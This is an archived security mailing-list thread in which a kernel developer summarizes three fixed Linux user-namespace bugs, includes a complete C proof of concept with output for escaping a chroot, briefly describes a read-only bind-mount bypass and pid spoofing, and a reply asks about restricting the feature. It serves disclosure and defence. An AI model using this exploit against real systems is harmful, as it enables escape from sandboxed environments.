2013-04-13 17:16:48

by Andy Lutomirski

[permalink] [raw]
Subject: Summary of security bugs (now fixed) in user namespaces

I previously reported these bugs privatley. I'm summarizing them for
the historical record. These bugs were never exploitable on a
default-configured released kernel, but some 3.8 versions are
vulnerable depending on configuration.

=== Bug 1: chroot bypass ===

It was possible for a chrooted program to create a new user namespace
and a new mount namespace. It could keep an fd to the old root, which
is outside the new root, and therefore use it to escape, like this:

--- begin ---
/* break_chroot.c by */
/* Copyright (c) 2013 Andrew Lutomirski. All rights reserved. */

#define _GNU_SOURCE
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif

static void printcwd(void)
{
/* This is fugly. */
static int lastlen = -1;
char buf[8192];
if (getcwd(buf, sizeof(buf))) {
if (strlen(buf) != lastlen)
printf("%s\n", buf);
lastlen = strlen(buf);
} else {
warn("getcwd");
}
}

int fn(void *unused)
{
int i;
int fd;

fd = open("/", O_RDONLY | O_DIRECTORY);
if (fd == -1)
err(1, "open(\".\")");
if (unshare(CLONE_NEWUSER) != 0)
err(1, "unshare(CLONE_NEWUSER)");
if (unshare(CLONE_NEWNS) != 0)
err(1, "unshare(CLONE_NEWNS)");
if (fchdir(fd) != 0)
err(1, "fchdir");
close(fd);

for (i = 0; i < 100; i++) {
printcwd();
if (chdir("..") != 0) {
warn("chdir");
break;
}
}

fd = open(".", O_PATH | O_DIRECTORY);
if (fd == -1)
err(1, "open(\".\")");

if (fd != 3) {
if (dup2(fd, 3) == -1)
err(1, "dup2");
close(fd);
}
_exit(0);
}

int main(int argc, char **argv)
{
int dummy;

if (argc < 2) {
printf("usage: break_chroot COMMAND ARGS...\n\n"
"You won't be entirely out of jail. / is still the jail root.\n");
return 1;
}

close(3);

if (signal(SIGCHLD, SIG_DFL) != 0)
err(1, "signal");

if (clone(fn, &dummy, CLONE_FILES | SIGCHLD, 0) == -1)
err(1, "clone");

int status;
if (wait(&status) == -1)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child failed");
if (fchdir(3) != 0)
err(1, "fchdir");
close(3);

execv(argv[1], argv+1);
err(1, argv[1]);

return 0;
}
--- end ---

$ ls /
bin dev home lib64 media opt root sbin sys usr
boot etc lib lost+found mnt proc run srv tmp var
$ /path/to/break_chroot /bin/sh
(unreachable)/hostfs
(unreachable)/
sh-4.2$ pwd
(unreachable)/
sh-4.2$ ls
bin dev etc hostfs init lib lib64 proc root run sbin sys usr var

=== Bug 2: read-only bind mount bypass ===

This one was straightforward: create a new userns and mount namespace,
then remount a previously read-only bind mount as read-write. It
worked.

=== Bug 3: SCM_CREDENTIALS pid spoofing ===

This one was also straightforward: create a new userns and then spoof
the pid. The capability check was on the wrong namespace.


2013-04-16 12:19:34

by Florian Weimer

[permalink] [raw]
Subject: Re: [oss-security] Summary of security bugs (now fixed) in user namespaces

On 04/13/2013 07:16 PM, Andy Lutomirski wrote:
> I previously reported these bugs privatley. I'm summarizing them for
> the historical record. These bugs were never exploitable on a
> default-configured released kernel, but some 3.8 versions are
> vulnerable depending on configuration.

Looking at this list, is there some way to restrict this new
functionality to, say, membership in a certain group? At present, most
system users (daemons) do not need this functionality, so it would make
sense to restrict access to it.

Or is the expectation that we disable CONFIG_USER_NS until things
stabilize further?

--
Florian Weimer / Red Hat Product Security Team